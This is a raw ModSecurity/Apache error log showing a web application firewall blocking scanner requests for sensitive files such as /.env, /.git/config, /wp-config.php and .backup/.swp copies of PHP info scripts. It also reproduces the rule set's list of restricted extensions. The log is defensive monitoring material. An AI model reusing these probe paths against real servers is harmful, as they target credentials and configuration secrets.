[Thu Oct 30 20:09:06.124381 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.backup&quot;] [unique_id &quot;aQO30jBYe33Xoy6JQHQ20gAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:06.124817 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.backup&quot;] [unique_id &quot;aQO30jBYe33Xoy6JQHQ20gAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:06.125011 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.backup&quot;] [unique_id &quot;aQO30jBYe33Xoy6JQHQ20gAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:06.746997 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.backup&quot;] [unique_id &quot;aQO30jBYe33Xoy6JQHQ20wAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:06.747380 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.backup&quot;] [unique_id &quot;aQO30jBYe33Xoy6JQHQ20wAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:06.747572 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.backup&quot;] [unique_id &quot;aQO30jBYe33Xoy6JQHQ20wAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:09.697094 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.swp&quot;] [unique_id &quot;aQO31TBYe33Xoy6JQHQ22AAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:09.697512 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.swp&quot;] [unique_id &quot;aQO31TBYe33Xoy6JQHQ22AAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:09.697748 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.swp&quot;] [unique_id &quot;aQO31TBYe33Xoy6JQHQ22AAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:10.742023 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.swp&quot;] [unique_id &quot;aQO31jBYe33Xoy6JQHQ22QAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:10.742468 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.swp&quot;] [unique_id &quot;aQO31jBYe33Xoy6JQHQ22QAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:10.742686 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.swp&quot;] [unique_id &quot;aQO31jBYe33Xoy6JQHQ22QAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:11.246937 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.swp&quot;] [unique_id &quot;aQO31zBYe33Xoy6JQHQ22gAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:11.247338 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.swp&quot;] [unique_id &quot;aQO31zBYe33Xoy6JQHQ22gAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:11.247541 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.swp&quot;] [unique_id &quot;aQO31zBYe33Xoy6JQHQ22gAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:11.756073 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.swp&quot;] [unique_id &quot;aQO31zBYe33Xoy6JQHQ22wAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:11.756465 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.swp&quot;] [unique_id &quot;aQO31zBYe33Xoy6JQHQ22wAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:11.756701 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.swp&quot;] [unique_id &quot;aQO31zBYe33Xoy6JQHQ22wAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:37.508105 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQO38TBYe33Xoy6JQHQ3DAAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:37.508381 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQO38TBYe33Xoy6JQHQ3DAAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:37.508598 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQO38TBYe33Xoy6JQHQ3DAAAAAM&quot;], referer: https://www.google.com/
[Fri Oct 31 04:36:14.779155 2025] [:error] [pid 3895204] [client 216.81.245.142:38878] [client 216.81.245.142] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQQurnfEYHEveUY117iDWgAAAAI&quot;]
[Fri Oct 31 04:36:14.779431 2025] [:error] [pid 3895204] [client 216.81.245.142:38878] [client 216.81.245.142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQQurnfEYHEveUY117iDWgAAAAI&quot;]
[Fri Oct 31 04:36:14.779599 2025] [:error] [pid 3895204] [client 216.81.245.142:38878] [client 216.81.245.142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQQurnfEYHEveUY117iDWgAAAAI&quot;]
[Sat Nov 01 04:21:19.387867 2025] [:error] [pid 3920971] [client 130.131.162.253:32844] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQV8r74dCcojC-7kHTMDswAAAAw&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat Nov 01 04:21:19.388199 2025] [:error] [pid 3920971] [client 130.131.162.253:32844] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQV8r74dCcojC-7kHTMDswAAAAw&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat Nov 01 04:21:19.388389 2025] [:error] [pid 3920971] [client 130.131.162.253:32844] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQV8r74dCcojC-7kHTMDswAAAAw&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat Nov 01 04:21:19.390657 2025] [:error] [pid 3921580] [client 130.131.162.253:32858] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aQV8r90lSZ32i2w189kTPQAAAAE&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat Nov 01 04:21:19.390980 2025] [:error] [pid 3921580] [client 130.131.162.253:32858] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aQV8r90lSZ32i2w189kTPQAAAAE&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
